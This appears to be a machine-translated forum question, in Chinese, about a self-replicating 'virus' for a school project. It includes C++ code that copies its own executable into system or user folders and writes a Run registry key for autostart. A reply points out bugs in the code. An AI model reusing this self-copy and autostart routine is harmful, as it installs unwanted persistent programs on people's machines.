我正在爲我的學校項目編寫實驗性病毒。應該進行自我複製,自行啓動.. 我開始用這個article,我來到了這一點:無法寫入註冊表
#include <windows.h>
#include <iostream>
#include <tchar.h>
#include <stdio.h>
using namespace std;
void main()
{
wchar_t system[MAX_PATH];
wchar_t user[MAX_PATH];
wchar_t pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
DWORD bufSize = MAX_PATH;
GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));
std::wstring s(system);
s += std::wstring(L"\\virus.exe");
WCHAR* sysfull = &s[0];
if(!CopyFile(pathtofile, sysfull, false))
{
sysfull = L"C:\\Users\\Public\\virus.exe";
if(!CopyFile(pathtofile, sysfull, false))
{
GetUserName(user, &bufSize);
std::wstring u(L"C:\\Users\\");
u += std::wstring(user);
u += std::wstring(L"\\Documents\\virus.exe");
sysfull = &u[0];
CopyFile(pathtofile, sysfull, false);
}
}
HKEY hKey;
bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system));
RegCloseKey(hKey);
MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK);
}
當我看到在註冊表編輯器在HKEY_LOCAL_MACHINE \ SOFTWARE \微軟\的Windows \ CurrentVersion \ Run中存在的問題是不是新的關鍵。 RegOpenKeyEx和RegSetValueEx返回true,並且一切似乎都正常,但事實並非如此,我也不知道爲什麼。
我在Windows 8上並使用VS12。
首先,'void main'不是合法的C++。其次,更仔細地閱讀文檔。他們甚至沒有布爾型的返回類型,所以我不知道你從哪裏得到了真正的答案,但是如果有的話,那就意味着失敗。 – chris